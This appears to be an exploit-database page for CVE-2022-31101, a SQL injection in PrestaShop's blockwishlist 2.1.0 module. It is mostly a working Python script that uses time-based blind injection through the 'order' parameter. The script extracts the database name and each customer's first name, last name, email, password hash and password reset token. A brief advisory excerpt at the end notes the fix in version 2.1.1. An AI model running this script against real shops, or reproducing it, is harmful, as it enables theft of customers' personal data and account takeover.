Headline
Prestashop Blockwishlist 2.1.0 SQL Injection
Prestashop Blockwishlist module version 2.1.0 suffers from a remote SQL injection vulnerability.
# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi# Date: 29/07/22# Exploit Author: Karthik UJ (@5up3r541y4n)# Vendor Homepage: https://www.prestashop.com/en# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/# Version (blockwishlist): 2.1.0# Version (prestashop): 1.7.8.1# Tested on: Linux# CVE: CVE-2022-31101# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShopimport requestsurl = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1cookie = input("Enter cookie value:\n")header = { "Cookie": cookie}# Define static stuffparam = "&order="staticStart = "p.name, (select case when ("staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'charset = list(charset)emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'emailCharset = list(emailCharset)# Query current database name lengthprint("\nFinding db name's length:")for length in range(1, 65): condition = "LENGTH(database())=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: dbLength=length print("Length: ", length, end='') print("\n") breakprint("Enumerating current database name:")databaseName = ''for i in range(1, dbLength+1): for char in charset: condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')" fullUrl = url + param + staticStart + condition + staticEnd try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') databaseName += char breakprint()# Enumerate any tableprefix = "ps_"tableName = prefix + "customer"staticStart = "p.name, (select case when ("staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="staticEnd2 = "); -- .asc"print("\nEnumerating " + tableName + " table")for id in range(1, 10): condition = "id_customer=" + str(id) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) print("\nOnly " + str(id - 1) + " records found. Exiting...") break except requests.exceptions.Timeout: pass print("\nid = " + str(id)) # Finding firstname length for length in range(0, 100): condition = "LENGTH(firstname)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: firstnameLength=length print("Firstname length: ", length, end='') print() break # Enumerate firstname firstname = '' print("Firstname: ", end='') for i in range(1, length+1): for char in charset: condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') firstname += char break print() # Finding lastname length for length in range(1, 100): condition = "LENGTH(lastname)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: lastnameLength=length print("Lastname length: ", length, end='') print() break # Enumerate lastname lastname = '' print("Lastname: ", end='') for i in range(1, length+1): for char in charset: condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: print(char, end='') firstname += char break print() # Finding email length for length in range(1, 320): condition = "LENGTH(email)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: emailLength=length print("Email length: ", length, end='') print() break # Enumerate email email = '' print("Email: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') email += char except requests.exceptions.Timeout: print(char, end='') email += char break print() # Finding password hash length for length in range(1, 500): condition = "LENGTH(passwd)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: passwordHashLength=length print("Password hash length: ", length, end='') print() break # Enumerate password hash passwordHash = '' print("Password hash: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') passwordHash += char except requests.exceptions.Timeout: print(char, end='') passwordHash += char break print() # Finding password reset token length for length in range(0, 500): condition = "LENGTH(reset_password_token)=" + str(length) fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) except requests.exceptions.Timeout: passwordResetTokenLength=length print("Password reset token length: ", length, end='') print() break # Enumerate password reset token passwordResetToken = '' print("Password reset token: ", end='') for i in range(1, length+1): for char in emailCharset: condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'" fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2 try: req = requests.get(fullUrl, headers=header, timeout=8) if req.status_code == 500 and char == '.': print(char, end='') passwordResetToken += char except requests.exceptions.Timeout: print(char, end='') passwordResetToken += char break print()
Related news
CVE-2022-31101
prestashop/blockwishlist is a prestashop extension which adds a block containing the customer's wishlists. In affected versions an authenticated customer can perform SQL injection. This issue is fixed in version 2.1.1. Users are advised to upgrade. There are no known workarounds for this issue.
GHSA-2jx3-5j9v-prpp: SQL Injection in BlockWishList
### Impact An authenticated customer can perform SQL injection ### Patches Issue is fixed in 2.1.1